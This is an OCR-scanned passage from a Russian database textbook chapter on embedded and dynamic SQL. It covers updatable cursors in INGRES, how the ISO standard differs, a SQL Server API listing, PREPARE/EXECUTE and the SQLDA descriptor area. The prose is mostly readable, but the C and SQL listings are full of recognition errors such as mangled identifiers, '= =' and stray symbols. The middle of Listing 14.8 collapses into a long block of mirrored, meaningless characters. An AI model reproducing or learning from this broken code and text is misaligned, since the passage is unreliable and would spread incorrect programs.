printf("Area: %s\n", area);
printf("City: %s\n", city);
if (postcode_ind < 0)
printf("Post code: NULL\n");
else
printf("Post code: %s\n", post_code);
}
/* Вывод сообщения при возникновении ошибки */ error:
printf("SQL error %d\n" sqlca.sqlcode);
done:
/* Закрытие курсора и завершение работы программы */
EXEC SQL WHENEVER SQLERROR continue?
EXEC SQL CLOSE property_cursor?
EXEC SQL DISCONNECT? }
Использование курсоров для модификации данных в базе
Курсор может быть как доступным только для чтения, так и обновляемым. Если обновление данных указанной в объявлении курсора таблицы невозможно (см. раздел 14.1.5) или при его открытии было задано ключевое слово READONLY, курсор будет доступен только для чтения. В противном случае курсор будет обновляемым и к содержащимся в нем данным можно будет применять операторы UPDATE или DELETE CURRENT. Новые строки всегда могут быть вставлены непосредственно в саму таблицу данных. Если новые строки будут помещены в таблицу уже после создания курсора, который является доступным только для чтения, результаты этих изменений в данном курсоре не будут видны вплоть до его закрытия. Если курсор является обновляемым, то согласно стандарту ISO конкретное поведение курсоров в случае внесения подобных изменений оставляется на усмотрение разработчиков СУБД и является зависимым от реализации. В СУБД INGRES все вновь вставляемые строки становятся видимыми приложению.
В СУБД INGRES для создания обновляемых курсоров используется особая расширенная версия оператора DECLARE CURSOR:
EXEC SQL DECLARE cursorjame CURSOR FOR seiect_statement FOR UPDATE OF columnjame [,...]
Предложение FOR UPDATE OF должно содержать перечисление всех столбцов указанной в предложении select_statement таблицы, значения которых требуется обновлять. Более того, эти же столбцы должны быть перечислены и в списке предложения SELECT. Оператор UPDATE, который используется для обновления данных в курсоре, имеет следующий формат:
EXEC SQL UPDATE table_name
SET columnjiame = data_value [,...]
WHERE CURRENT OF cursorjame
Здесь параметр cursorjame представляет собой имя открытого обновляемого курсора. Предложение WHERE используется только для определения строки, на которую в данный момент указывает курсор. Все вносимые обновления коснутся данных только этой строки. Каждое имя столбца в предложении SET должно быть идентифицировано для обновления в соответствующем операторе DECLARE CURSOR. Например, приведенный ниже оператор предназначен для обновления личного номера работника (поле Sno) в строке таблицы, связанной с текущей строкой курсора property_cursor. Выполнение обновления не сопровождается перемещением указателя курсора, поэтому для перехода к следующей его строке следует использовать очередной оператор FETCH.
EXEC SQL UPDATE property_for_rent
SET sno = 'SL22f
WHERE CURRENT OF property_cursor;
С помощью обновляемых курсоров можно выполнить и удаление строк данных. Формат используемого при работе с курсорами оператора DELETE следующий:
EXEC SQL DELETE FROM tablejame
WHERE CURRENT OF cursorjiame
Здесь параметр cursorjiame также является именем открытого обновляемого курсора. Как и в случае обновления, данный оператор воздействует только на текущую строку, а для перехода к следующей строке должен использоваться очередной оператор FETCH. Например, в результате выполнения приведенного ниже оператора удаляется строка таблицы, связанная с текущей строкой курсора property^cursor. Еще раз напомним, что при необходимости удаления строк из курсора в соответствующем операторе DECLARE CURSOR должна быть указана фраза FOR UPDATE OF.
EXEC SQL DELETE FROM property_for_rent
WHERE CURRENT OF property_cursor;
Требования стандарта ISO ко внедренным SQL-операторам
В этом разделе мы кратко познакомимся с различиями, существующими между диалектом языка SQL в СУБД INGRES и требованиями, изложенными в стандарте ISO.
Оператор WHENEVER
Стандарт ISO не предусматривает использование условия SQLWARNING в операторе WHENEVER.
Область связи с SQL'
Стандарт ISO не требует определения области связи SQL именно в том формате, который был приведен выше. Однако он допускает использование целой переменной SQLCODE, которая, тем не менее, расценивается как функция устаревшая, не рекомендуемая к применению и сохраненная лишь в целях обратной совместимости с ранними версиями стандарта. Вместо нее стандарт рекомендует использовать параметр SQLSTATE, имеющий формат символьной строки и содержащий два символа определения класса ситуации, за которыми следуют три символа определения ее подкласса.
Курсоры
Приведенные в стандарте ISO определение и рекомендуемые методы обработки курсоров несколько отличаются от тех, которые реализованы в СУБД INGRES 6.4. Стандарт ISO не допускает использования необязательной фразы READONLY в операторе OPEN. Вместо этого, данный атрибут должен указываться в операторе DECLARE CURSOR. Стандарт ISO предусматривает следующий формат оператора DECLARE CURSOR:
ЕХЁС SQL DECLARE cursorjiame [INSENSITIVE] [SCROLL]
CURSOR FOR seiect_statement
[FOR {READ ONLY | UPDATE [OF column_name_list]}]
При указании необязательного ключевого слова INSENSITIVE результаты изменения содержимого исходной таблицы в базе данных не будут видны пользователю. При указании необязательного ключевого слова SCROLL пользователь получает возможность произвольного доступа к строкам результирующего набора данных запроса. В этом случае используются операторы FETCH следующего формата:
EXEC SQL FETCH [[fetch_orientation] FROM] cursorjiame
INTO host_variable [,...]
Здесь параметр fetch_orientation может иметь следующее значение:
NEXT — выбрать следующую строку результирующей таблицы запроса, расположенную непосредственно после текущей строки курсора;
PRIOR — выбрать предыдущую строку результирующей таблицы запроса, расположенную непосредственно перед текущей строкой курсора;
FIRST — выбрать первую строку результирующей таблицы запроса;
LAST — выбрать последнюю строку результирующей таблицы запроса;
ABSOLUTE — выбрать конкретную строку результирующей таблицы запроса, указанную ее номером;
RELATIVE — переместить курсор вперед или назад относительно текущей позиции на указанное количество строк.
Если в диалекте языка SQL данные функциональные возможности не реализованы, то переместиться в результирующем наборе в обратном направлении можно только посредством закрытия курсора, повторного его открытия и выдачи необходимого количества команд FETCH, позволяющих перейти к требуемой записи результирующей таблицы запроса.
Интерфейс прикладного программирования (API)
Альтернативным подходом, используемым некоторыми разработчиками СУБД, является предоставление в распоряжение программиста библиотеки стандартных функций, которые могут вызываться из создаваемых им прикладных программ. Для многих программистов использование различных библиотек стандартных функций является обычной практикой, поэтому они расценивают API как более удобный способ работы с языком SQL. Хотя это и не является требованием стандарта ISO, многие широко распространенные СУБД включают соответствующие API. Поэтому авторы считают целесообразным предложить вашему вниманию краткий обзор основных концепций работы с библиотеками стандартных функций. Следует отметить, что различия между этим подходом и использованием внедренных SQL-операторов относительно невелики. Для иллюстрации обсуждаемого материала будет использован прикладной интерфейс СУБД SQL Server.
Пример 14.16. Программирование с использованием SQL АР!
Напишите программу, которая будет выводить сведения о сдаваемых в аренду объектах, за которые отвечает работник с табельным номером 'SL41'. Для упрощения сделаем предположение, что для всех столбцов таблицы задано условие NOT NULL, поэтому нет необходимости использовать индикаторные переменные.
Текст требуемой программы приведен в листинге 14.5. Эта программа обеспечивает те же функциональные возможности, что и программа из предыдущего примера. Данный пример иллюстрирует основные манипуляции, которые должны выполняться в типичной программе, использующей функции прикладного API языка SQL.
Подключение программы к СУБД с помощью вызова соответствующей функции API (в данном случае dbopen()).
Построение в некотором буфере требуемого SQL-оператора (например, dbcmd()) и передача этого буфера СУБД на выполнение (вызов функции dbsqlexec()).
Проверка успешности выполнения SQL-оператора (вызов функции dbresult()).
В случае выполнения запроса выборка каждой из строк его результирующей таблицы (вызов функции dbnextrowj)).
Отключение программы от СУБД (вызов функции dbexit()) и завершение ее работы.
Листинг 14.5. Пример программы, использующей SQL API
/* Программа выводит сведения о сдаваемых в аренду объектах, за которые отвечает указанный работник компании */
tinclude <stdio.h>
main( )
{
LOGINREC*loginrec;/* структура для данных, используемых
при регистрации в системе */
DBPROCESS *dbproc;/* структура для данных о соединении */
int status;
char
property_no[6];
/* значение поля pno */
char
street[26];
/* значение поля street */
char
area[16];
/* значение поля area */
char
city[16];
/* значение поля city */
char
post_code[9];
/* Значение поля pcode */
/* Выборка структуры с данными о регистрации и регистрация с использованием заданного идентификатора пользователя и пароля */ loginrec = dbloginf);
DBSETLUSER(loginrec, "manager");
DBSETLPWD(loginrec, "pterodactyl"); dbproc = dbopen(loginrec, " ");
/* Настройка и выполнение запроса */
dbcmd(dbproc, "SELECT pno, street, area, city, pcode from property_for_rent"); dbcmd(dbproc, "where sno = 'SL41f order by pno");
dbsqlexec(dbproc);
/* Подготовка к обработке первого оператора */ status = dbresults(dbproc);
/* Подготовка (связывание) переменных к получению результата и выборка каждой из строк результирующей таблицы */ dbbind(dbproc, 1, NTBSTRINGBIND, 5, &property_no);
dbbind(dbproc,2,NTBSTRINGBIND,25,Sstreet);
dbbind(dbproc,3,NTBSTRINGBIND,15,Sarea);
dbbind(dbproc,4,NTBSTRINGBIND,15,&city);
dbbind(dbproc,5,NTBSTRINGBIND,8, &post_code);
while (status = dbnextrow(dbproc) = = SUCCEED) {
printf("Property number: %s\n", property_no);
printf("Street: ls\n", street);
printf("Area: %s\n", area);
printf("City: %s\n", city);
printf("Post code: %s\n", post_code);
}
/* Проверка результата перед закрытием соединения с базой данных */
if (status = = FAIL)
printf("SQL error\n");
dbexit(dbproc);
К сожалению, предоставляемые различными разработчиками прикладные API различаются весьма значительно и до недавних пор не предпринималось попыток выработать какое-либо общее соглашение по поводу используемого интерфейса. В разделе 14.8 мы обсудим особенности интерфейса ODBC (Open Database Connectivity), предложенного фирмой Microsoft. ODBC представляет собой специализированный API, построенный на базе языка SQL, который в настоящее время фактически уже стал промышленным стандартом.
Динамический SQL
В предыдущем разделе мы обсудили использование внедренных SQL-операторов, которые более корректно было бы называть статическими внедренными SQL- операторами. Статические SQL-операторы предоставляют в распоряжение прикладного программиста значительные функциональные возможности, обеспечивая его средствами доступа к базам данных с помощью обычных SQL-операторов, употреб-
ляемых в интерактивном режиме с самыми незначительными изменениями, имеющими место в отдельных случаях. Подобный способ использования языка SQL вполне соответствует требованиям множества приложений обработки данных. Например, он позволяет разработчикам создавать программы, обеспечивающие работу персонала с клиентами, выписку счетов, сбор информации о заказчиках и составление различных отчетов. Во всех этих примерах схема доступа к базе данных является фиксированной и может быть жестко закодирована в тексте программ.
Однако существует множество ситуаций, в которых схема доступа к базе данных не является фиксированной и становится известной лишь непосредственно во время выполнения программы. Примером может служить создание прикладного приложения, предоставляющего пользователями графические средства ввода интересующих их запросов или отчетов, с последующей автоматической генерацией необходимых интерактивных SQL-операторов. В данном случае для решения поставленной задачи необходимы более гибкие средства, чем использование обычных статических SQL- операторов. Для подобных программ в стандарте ISO определен альтернативный подход, получивший название динамического SQL. Основным отличием между двумя типами внедренных SQL-операторов является то, что в статических внедренных SQL- операторах не допускается использование переменных базового языка для определения имен требуемых таблиц или столбцов. Например, статический внедренный SQL- оператор не может иметь вид, приведенный ниже.
EXEC SQL BEGIN DECLARE SECTION;
char table name[20];
EXEC SQL END DECLARE SECTION;
EXEC SQL INSERT INTO :table_name VALUES ('CR76', 'PA14', DATE '1998-05-12',
'Not enough space');
Суть в том, что статический SQL в операторе INSERT допускает лишь явное указание имени таблицы и запрещает помещение в данном месте имени переменной базового языка. Однако, даже если это требование было бы снято, дополнительные проблемы возникли бы при объявлении курсоров. Например, рассмотрим следующий оператор:
EXEC SQL DECLARE cursorl CURSOR FOR
SELECT *
FROM :table_name;
Использование символа '*' указывает, что в результирующий набор данных запроса должны быть помещены все столбцы таблицы, имя которой помещено в переменную table пате. Однако разные таблицы обычно имеют различное количество столбцов. Более того, типы данных столбцов разных таблиц также будут отличаться. Так, таблицы Branch и Staff имеют различное количество столбцов, тогда как таблицы Staff и Property_for_Rent имеют одинаковое количество столбцов, но используют разные типы данных. Если количество столбцов и тип их данных не известны, то нельзя будет использовать оператор FETCH, описанный в предыдущем разделе, поскольку он требует, чтобы количество и тип данных переменных базового языка точно соответствовали количеству и типу данных столбцов результирующей таблицы запроса. В этом разделе мы обсудим предоставляемые динамическим SQL возможности, позволяющие обойти указанные проблемы и допускающие создание менее специализированного программного обеспечения.
Основные концепции динамического SQL
Основная идея динамического SQL заключается в помещении в переменную базового языка полностью законченного SQL-оператора, который требуется выполнить. Затем эта переменная базового языка передается СУБД с целью выполнения. Проще всего подобные действия реализуются в случае операторов, не являющихся многострочными запросами, для чего используется оператор EXECUTE IMMEDIATE, имеющий следующий формат:
EXEC SQL EXECUTE IMMEDIATE host^variable
Эта команда позволяет выполнить SQL-оператор, помещенный в буфер, имя которого задается в параметре host_variable. Например, рассмотрим приведенный ниже статический SQL-оператор.
EXEC SQL BEGIN DECLARE SECTION;
float increment?
EXEC SQL END DECLARE SECTION;
EXEC SQL UPDATE staff SET salary = salary + :increment
WHERE sno = 'SL21';
Заменим этот оператор следующим оператором динамического SQL:
EXEC SQL BEGIN DECLARE SECTION;
char buffer[100];
EXEC SQL END DECLARE SECTION;
sprintf(buffer, "update staff set salary = salary + %f where sno = 'SL21'", increment);
EXEC SQL EXECUTE IMMEDIATE :buffer;
Во втором случае оператор UPDATE помещается в буфер, который передается СУБД на выполнение с помощью оператора EXECUTE IMMEDIATE. Обратите внимание, что во втором варианте переменная Increment не нуждается в предварительном объявлении для среды SQL, поскольку она больше не используется во внедренных SQL-операторах.
Операторы PREPARE и EXECUTE
Всякий раз при обработке очередного оператора EXECUTE IMMEDIATE СУБД должна выполнить сканирование, проверку и оптимизацию переданного ей SQL-оператора, затем построить план его выполнения и, наконец, выполнить этот план — как показано на рис. 14.2. Из сказанного можно сделать вывод, что использование оператора EXECUTE IMMEDIATE целесообразно только в том случае, если передаваемый с его помощью SQL-оператор за все время выполнения программы требуется выполнить всего один раз. Однако, если некоторый SQL-оператор необходимо выполнить несколько раз, использование этого механизма будет малоэффективным. Для случаев многократного использования одного и того же SQL-оператора динамический SQL предоставляет альтернативный подход, предусматривающий использование двух дополняющих друг друга операторов — PREPARE и EXECUTE.
<хх>
ПредкомпиляторУтилита связыванияВыполнение
III
Время компиляцииВремя
выполнения
Статический SQL
Время выполнения
<>
оператор EXECUTE IMMEDIATE
<X>
оператор PREPAREEXECUTE
IIСканирование оператораIIСканирование оператораIII>
II
Сканирование оператора
II
Сканирование оператора
ПроверкаОптимизацияСоздание планаВыполнение
оператораоператоравыполненияоператора
Динамический SQL
Рис. 14.2. Сравнение схем обработки СУБД операторов обычного языкаSQL и динамического SQL: а) статический SQL; б) динамический SQL
Оператор PREPARE указывает СУБД на необходимость подготовить к выполнению передаваемый ей динамический SQL-оператор. Подготовленному оператору присваивается указанное имя. Имя оператора должно быть допустимым SQL-идентификатором, подобным имени курсора. Затем подготовленный оператор может многократно выполняться, причем программе потребуется указать СУБД лишь имя того подготовленного ранее оператора, который необходимо выполнить. Оператор PREPARE имеет следующий формат:
EXEC SQL PREPARE statement name FROM host variable
А оператор EXECUTE имеет такой формат:
EXEC SQL EXECUTE statement_name (USING host_variable [,...]]
USING DESCRIPTOR descriptor^name^
Этих два оператора используются совместно не только с целью увеличения скорости обработки внедренных SQL-операторов, выполняемых программой более одного раза. Их использование предоставляет программисту дополнительные функциональные возможности, заключающиеся в применении предложения USING как составной части оператора EXECUTE. Предложение USING позволяет переопределить текст уже подготовленного SQL-оператора путем замены тех его элементов, которые в исходном тексте были представлены маркерами параметров, обозначенными вопросительными знаками (?). Маркер параметра может быть помещен в любое место исходного текста SQL-оператора, в котором допускается задание константы. Напомним, что текст этого SQL-оператора заносится в переменную базового языка, имя которой задается значением параметра host_variable оператора PREPARE. Наличие маркера параметра указывает СУБД, что значение в этой части подготавливаемого оператора будет задано позднее, в операторе EXECUTE. В результате, в ходе выполнения программы при каждом вызове подготовленного динамического SQL-оператора могут использоваться различные значения параметров. Например, существует возможность подготовить и выполнить оператор UPDATE, в котором значения фраз SET и WHERE останутся неопределенными:
EXEC SQL BEGIN DECLARE SECTION;
char buffer[100];
float new_salary;
char staff no[6];
EXEC SQL END DECLARE SECTION?
sprintf(buffer, "update staff set salary = ? where sno = ?");
EXEC SQL PREPARE stmt FROM :buffer;
do {
printf("Enter staff number: ");
scanf("%s", staff_no);
printf("Enter new salary: ");
scanf("%f", new_salary);
EXEC SQL EXECUTE stmt USING :new_salary, :staff no;
printf("Enter another (Y/N)? ");~~
scanf("%c", more);
}
until (more I = 'Y')?
При обработке оператора PREPARE СУБД выполнит сканирование, проверку и оптимизацию динамического SQL-оператора, после чего подготовит план его выполнения (см. рис. 14.2). Впоследствии этот план будет использоваться при каждом поступлении из программы оператора EXECUTE. Последнее напоминает тот способ, который применяется при обработке статических внедренных SQL-операторов.
Область дескрипторов SQL (SQLDA)
Маркеры параметров являются только одним из методов передачи параметров в SQL-операторы EXECUTE. Альтернативный вариант состоит в использовании динамической структуры данных, которая носит название области дескрипторов SQL (SQL Descriptor Area — SQLDA). Область SQLDA используется в тех случаях, когда количество требуемых параметров и их типы заранее не известны. В частности, область SQLDA целесообразно использовать для динамически настраиваемой выборки данных, когда количество выбираемых столбцов данных и/или их типы не были известны до момента выполнения программы. Общий формат области дескрипторов SQLDA в СУБД INGRES показан в листинге 14.6. С целью использования области дескрипторов в программе следует в соответствующем месте поместить приведенный ниже оператор:
EXEC SQL INCLUDE sqlda;
Листинг 14.6. Формат области дескрипторов SQL (SQLDA)
/*
** SQLDA - структура, предназначенная для хранения описания данных,
** используемых внедренными операторами и СУБД INGRES во время работы
** программы при выполнении динамических SQL-операторов
*/
typedef struct sqlvar_{
shortsqltype;/*тип столбца или переменной */
shortsqllen;/*длина столбца или переменной */
char*sqldata;/*указатель на переменную, описанную
типом и длиной */
short*sqlind;/*указатель на индикаторную переменную,
связанную с базовой переменной */
struct {
short sqlnamel; /* длина имени */
char sqlnamec[34];/* имя результирующего столбца из описания */
} sqlname;
} IISQLVAR;
♦define IISQLDA_TYPE{sq_struct_tag, sq_sqlda_name, sq_num_vars) \ struct sq_struct_tag { \
char
sqldaid[8]; \ /* содержит фиксированный текст "SQLDA
long
sqldabc;\ /* длина структуры SQLDA */
short
sqln;\ /* число элементов sqlvar */
short
sqld;\ /* число столбцов результирующей
таблицы оператора */
IISQLVAR
sqlvar[sqln]; \ /* массив данных */
} sq_sqlda_name;
♦define IISQ MAX COLS 300
typedef IISQLDA_TYPE(sqda_, IISQLDA, IISQ MAX_COLS);
♦define IISQDA_HEAD_SIZE 16
♦define IISQDA_VAR_SIZE sizeof(IISQLVAR)
Область дескрипторов SQLDA состоит из двух частей:
фиксированной части, в которой данная структура определяется как область SQLDA и указывается текущий размер именно этой ее конкретной реализации. Данная часть используется только в том случае, если подготовленный SQL-оператор является оператором SELECT — как показано ниже;
переменной части, содержащей данные, описывающие каждый из параметров, передаваемых СУБД или получаемых от нее.
В состав переменной части области SQLDA входят следующие поля:
SQLTYPE — содержит кодовое значение, определяющее тип данных передаваемого параметра. Значения кодов, используемых в СУБД INGRES, приведены в табл. 14.9. Положительное значение кода указывает, что данный столбец не может содержать значений NULL, а отрицательное значение кода свидетельствует об обратном;
SQLLEN — содержит длину поля указанного типа в байтах;
*SQLDATA — содержит указатель на область данных в пределах прикладной программы, в которой должно размещаться само значение параметра;
*SQLIND — содержит указатель на индикаторную переменную, связанную со значением данного параметра. Значение в индикаторную переменную должно помещаться прикладной программой так, как это описано в разделе 14.5.
Все остальные поля не используются при передаче значений параметров в SQL- операторы EXECUTE. Они используются при выборке данных из базы, о чем разговор пойдет чуть позже.
Таблица 14.9. Коды типов данных в СУБД INGRES
Тип данных INGRES SQL
Код INGRES
Значение
char
IISQ_CHA_TYPE
20
varchar
IISQ_VCH_TYPE
21
integer
IISQ_INT_TYPE
30
float
IISQ_FLTJYPE
31
date
IISQ_DTE_TYPE
3
money
IISQ^MNYJYPE
5
Выборка данных с помощью операторов динамического SQL и динамических курсоров
В разделе 14.5.3 мы обсудили различия между двумя типами запросов — однострочными и многострочными. В динамическом SQL используется тот же подход. Если результирующая таблица запроса будет состоять только из одной строки, то для его выполнения обычно используется пара SQL-операторов PREPARE и EXECUTE. Если результирующая таблица запроса включает произвольное количество строк, то для выборки из нее данных стандарт ISO требует обязательного использования курсора. Следует отметить, что СУБД INGRES предоставляет собственное расширение языка — оператор EXECUTE IMMEDIATE. Если количество выбираемых столбцов и их тип заранее известны, для доступа к результатам запроса может использоваться список переменных базового языка. Если сведения о столбцах заранее неизвестны, в программе следует использовать область дескрипторов языка SQL (SQLDA).
Область SQLDA для динамических операторов SELECT
При выборке данных самыми важными в фиксированной части области SQLDA являются два следующих поля:
SQLN — определяет количество элементов, размещенных в переменной части этой структуры. Фактически, это — верхний предел для количества столбцов, которые могут быть извлечены с помощью оператора SELECT. Значение этого поля должно быть установлено в программе до использования области SQLDA;
SQLD — указывает реальное количество столбцов, извлекаемых данным оператором SELECT. Значение этого поля устанавливается СУБД и может быть проанализировано с помощью оператора DESCRIBE, речь о котором пойдет ниже. Если оператор DESCRIBE возвращает в поле SQLD значение нуль, это означает, что данный оператор не является оператором SELECT.
При выборке данных в переменной части области SQLDA используются следующие поля:
SQLTYPE — содержит код типа данных извлекаемого столбца (см. табл. 14.9);
SQLLEN — определяет длину поля указанного типа в байтах;
*SQLDATA — содержит указатель на область данных в прикладной программе, в которую будет помещаться само значение столбца;
*SQLIND — содержит указатель на связанную с данным столбцом индикаторную переменную;
SQLNAME — содержит имя выбираемого столбца. Состоит из длины имени в байтах и символьной строки, содержащей собственно имя столбца.
Оператор DESCRIBE
Оператор DESCRIBE позволяет получить описательную информацию об SQL- операторе, уже подготовленном СУБД (т.е. об операторе, для которого уже выполнена команда PREPARE). Для подготовленного оператора SELECT оператор DESCRIBE возвращает названия, типы данных и длину значений столбцов, указанных в запросе, помещая эти сведения в область SQLDА. Для операторов, отличных от SELECT, оператор DESCRIBE устанавливает значение поля SQLD в фиксированной части области SQLDA равным нулю. Оператор DESCRIBE имеет следующий формат:
EXEC SQL DESCRIBE statement_name USING descriptor_name
Здесь параметр statementjiame определяет имя подготовленного SQL-оператора, а параметр descriptor_name — имя уже инициализированной области SQLDA. Если подготовить приведенный ниже оператор SELECT, а затем выполнить для него оператор DESCRIBE, то содержимое возвращаемой области дескрипторов с именем sqlda будет иметь вид, показанный в листинге 14.7.
sprintf(query, "select pno, comment from viewing");
EXEC SQL PREPARE stmt FROM -.query?
EXEC SQL DESCRIBE stmt INTO :sqlda;
Листинг 14.7. Пример заполнения полей области дескрипторов SQL (SQLDA) после выполнения оператора DESCRIBE
sqld=2
sqlvar[0].sqltype=20
sqlvar[0].sqllen=5
sqlvar[0].sqlname.sqlnamel =3
sqlvar[0].sqlname.sqlnamec = PNO
sqlvarfl].sqltype=*21
sqlvar[l).sqllen=40
sqlvar[l].sqlname.sqlnamel =7
sqlvar[l].sqlname.sqlnamec = COMMENT
Значения полей указателей sqldata и sqlind при выполнении оператора DESCRIBE не изменяются и должны заполняться программой. Основной потенциальной проблемой при работе с оператором DESCRIBE и вообще с областью SQLDA является то, что необхо-
димо заранее знать объем памяти, который должен быть исходно для нее распределен. Если программа имеет дело с фиксированным набором таблиц, общее количество столбцов которых заранее известно и равно некоторому значению Max^Col, то можно инициализировать область SQLDA, создав в ней Мах^Со! элементов типа SQLVAR и поместив в поле SQLN само значение Maxjoh Если приложение работает с произвольным набором таблиц, то область SQLDA придется инициализировать с указанием некоторого стандартного или типичного числа элементов. Если после выполнения оператора DESCRIBE возвращенное в поле SQLD значение превысит исходно выбранное количество элементов, потребуется заново инициализировать область SQLDA с указанием в поле SQLD некоторого количества элементов, после чего вновь выполнить оператор DESCRIBE. Не существует ограничений, устанавливающих, сколько раз оператор DESCRIBE может быть выполнен для одного и того же подготовленного SQL-оператора.
Выбор нескольких строк
В разделе 14.5 уже обсуждалось использование курсоров для выборки данных из результирующей таблицы запроса, состоящей из произвольного количества строк. В динамическом SQL основные принципы остаются теми же самыми, хотя формат некоторых операторов несколько отличается от рассмотренного ранее. Для выборки данных по-прежнему необходимо использовать SQL-операторы DECLARE, OPEN, FETCH и CLOSE, однако в этом случае они будут иметь следующий формат:
EXEC SQL DECLARE cursorjiame CURSOR FOR seiect_statement
EXEC SQL OPEN cursorjame [FOR READONLY]
[USING hostjzariable [,...] | USING DESCRIPTOR descriptorjame^
EXEC SQL FETCH cursorjiame USING DESCRIPTOR descriptorjame
EXEC SQL CLOSE cursorjame
Динамический вариант оператора OPEN позволяет выполнить подстановку маркеров параметров, используя либо переменные базового языка (параметры hostjzariable в предложении USING), либо область SQLDA (параметр descriptorjame в предложении USING DESCRIPTOR). Основное отличие динамического варианта оператора FETCH состоит в возможности использования для получения строк данных области дескрипторов, задаваемой значением параметра descriptorjame. В этом случае, прежде чем выполнять динамический оператор FETCH, программа должна подготовить области данных для размещения выбираемых значений столбцов и их индикаторных переменных, после чего поместить сведения о них в поля SQLLEN, SQLDATA и SQLIND необходимого количества структур SQLVAR области SQLDA. Если для определенного столбца использовать индикаторную переменную не требуется, значение поля SQLIND соответствующего элемента SQLVAR должно быть установлено равным нулю. После закрытия курсора программа должна освободить память, отведенную как для области SQLDA, так и для областей данных, использовавшихся для получения результатов выполнения запроса.
Пример 14.17. Использование области SQLDA для выборки данных '
> Напишите программу, которая будет принимать любой введенный пользовате- ; лем SQL-оператор и выполнять его.
| Текст соответствующей программы приведен в листинге 14.8. С целью организа- | ции различной обработки операторов SELECT и операторов всех остальных типов в | программе прежде всего выполняется оператор DESCRIBE, после чего анализируется ; значение, помещенное этим оператором в поле SQLD области дескрипторов SQLDA. • Если значение поля SQLD равно нулю, значит, введенный пользователем SQL- < оператор не является оператором SELECT и может быть выполнен с помощью ко- - I манды EXECUTE IMMEDIATE. В случае введения пользователем оператора SELECT, про- । грамма осуществляет его обработку на основе описания данных, помещенного при , I выполнении оператора DESCRIBE в область SQLDA. Эта информация, включающая
сведения о длине и типе каждого из столбцов результирующей таблицы запроса, используется при распределении динамической памяти для полей данных и их индикаторных переменных. Затем в программе объявляется и открывается курсор, предназначенный для выборки результатов выполнения данного оператора SELECT. Выборка и распечатка строк результирующей таблицы запроса выполняется в цикле, завершающемся после извлечения всех ее строк. Затем курсор закрывается и выполнение данного цикла программы завершается.
Листинг 14.8. Использование области SQLDA для выполнения произвольных SQL-операторов
/* Программа обработки введенных пользователем SQL-операторов */
#include <stdio.h>
EXEC SQL INCLUDE sqlca;
EXEC SQL INCLUDE sqlda;
void init_sqlda(num_items) short int num__items;
{
/* Процедура динамического распределения памяти для области SQLDA
и инициализации необходимого количества элементов. Если память для области SQLDA уже выделена, предварительно следует ее освободить */ if (sqlda)
free((char *)sqlda):
sqlda = (IISQLDA *)calloc(l, IISQDA_HEAD_SIZE + (numj^ems*IISQDA_VAR_SIZE)); sqlda—>sqln = num_iterns;
}
void setup_sqlda( )
{ /* Процедура настройки динамической части области SQLDA для получения данных по команде FETCH, на основе информации, помещенной в область SQLDA оператором DESCRIBE */
int i, base_type;
IISQLVAR *sqv;
for (i = 0, i < sqlda—>sqld; i + +) {
sqv = &sqlda->sqlvar[i];
base_type = (sqv->sqltype < 0) ? -sqv—>sqltype : sqv->sqltype;
switch (base type) {
case IISQJNT^TYPE:
sqv->sqllen = sizeof(long);
break?
case IISQ FLT TYPE:
case IISQ^MNYJYPE:
sqv->sqllen = sizeof(double);
break;
case IISQJDTEJTYPE:
sqv->sqllen = IISQ_DTE_LEN;
case IISQ CHA TYPE:
case IISQ*VCH*TYPE:
/* Добавление одного байта для null-терминатора и замена типа
данных для пролей типа DATE, VARCHAR ТО CHAR */
sqv-»sqllen = sqv->sqllen + 1;
sqv->sqltype = (sqv^sqltype < 0) ? -IISQ CHA TYPE : IISQ CHAR TYPE;
9ZS9ZSхнннвн евд имне^ *щ чювь
9ZS
9ZS
/♦О -L9BinBdH£oa эвьЛиэ ноняи^ц я 1нэИэяя инд doiBdauo ииээ 'I iLeeinedgsoH iKuaiBsoEquou до BdoiBdano кинэьЛиоп BdAltehodu */ )
IquainaqBqs* isqo
(quama;Bqs)qu9MaqBqs qab qui 4104s
/* Aoi~quiid NdXttahodn Пэнох */{
^^„jqquTid
/* Нэдиодэ иийаХиэиэ */ { { l^eaiq
Ц» ™N„)j4UTid
9S{9 ^BqBpybs^-Abs *„ o%„)qquiid
((0 = < puTjbse-Abs*) 10 (0 = = puTfbs<— Abs)) jt :3dAXJiDA~0sn азвэ :3dXI_VHD_0SII эзво :3dXI 31G OSII азвэ
^^aiq Hw TinNjnuiJd
9SJ9
i (BqBpibs<~Abs ‘u jtJjquTid
((0 = < pUTlbs<-AbS4) IO (0 = = pUTlbst-Abs)) JT :3dXl_XNW_0SII азвэ :3dU 113 OS 11 aseo i >p?aiq
Цн TinNjpUTid авто '(P4Bpibs<-Abs ‘„ psJjquiid
((0 = < puiibs^-Abs*) 10 (0 = = puTTbs<-Abs) ) JT
:3dXJj 1NI_OSII aseo } (adAq aspq) qoqiMS
iedAq^bs^Abs : adAqjbs^-Abs- г (0 > adAqjbs^—Abs) jt = adZOsgq i [TliaAtbs^apibs1? = Abs
} (+ + т lpibs<-ppibs > i lo = l) ^°J
lAbs* HVA10SII
ladXq asaq 't quy
/♦ EDodnee HiiHugei HalnaAdH^uAEad би Hxodxo аИояня EdXHahodn */ } ( )moi quTid ртол
/4 ep^bs’daqas wdXWahodu йанох 4/ { /4 iiaguoio ииШаХйэиэ */ {
50(* qioqs) = puijbs<-Abs
9SJ9
1 ((qioqs)qoazis 'i)oo-[xpo(4 qioqs) = puTjbs^Abs (0 > 9dkq{bs<-Abs) jt
1 (ua-[lbs<-Abs ‘ i)dohbd(¥ ieqo) = aqpp"[bs<—Abs
1 (puTxbs<-Abs(\ qioqs) )aaiq (puTfbs<-Abs) jt l(yqep-[bs<-AbsG ieqo))d9i; (BqBpxbs<-Abs) qy /4 окиНохдоан o.lg иное 'mkwbii кэинайжодояэо wnHquaiLHdBHttadu о
' XHHHdwadau xRHdoiBXHttHH и хнннвН Ki/tt извивы эинэиэйнд 4/
lXB9iq
char *p;
int c;
p = statement;
printf("Enter statement: ");
while ((c = getchar()) > 0) {
if (c = = '\n') {
*p = 0;
return 1;
}
else
*p+ +;
}
return 0;
}
main( )
{
EXEC SQL BEGIN DECLARE SECTION;
charquery[100];/* буфер запроса */
EXEC SQL END DECLARE SECTION?
IISQLDA *sqlda = (IISQLDA *)0; /* указатель на динамическую область SQLDA */ init_sqlda(10);/* инициализация области SQLDA */
/* подключение к базе данных */
EXEC SQL CONNECT 'estatedb';
if (sqlca.sqlcode < 0) exit(-l);
/* получение очередного оператора */ while (get_statement(query)) {
/* организация обработки ошибок SQL */
EXEC SQL WHENEVER SQLERROR GOTO errorl;
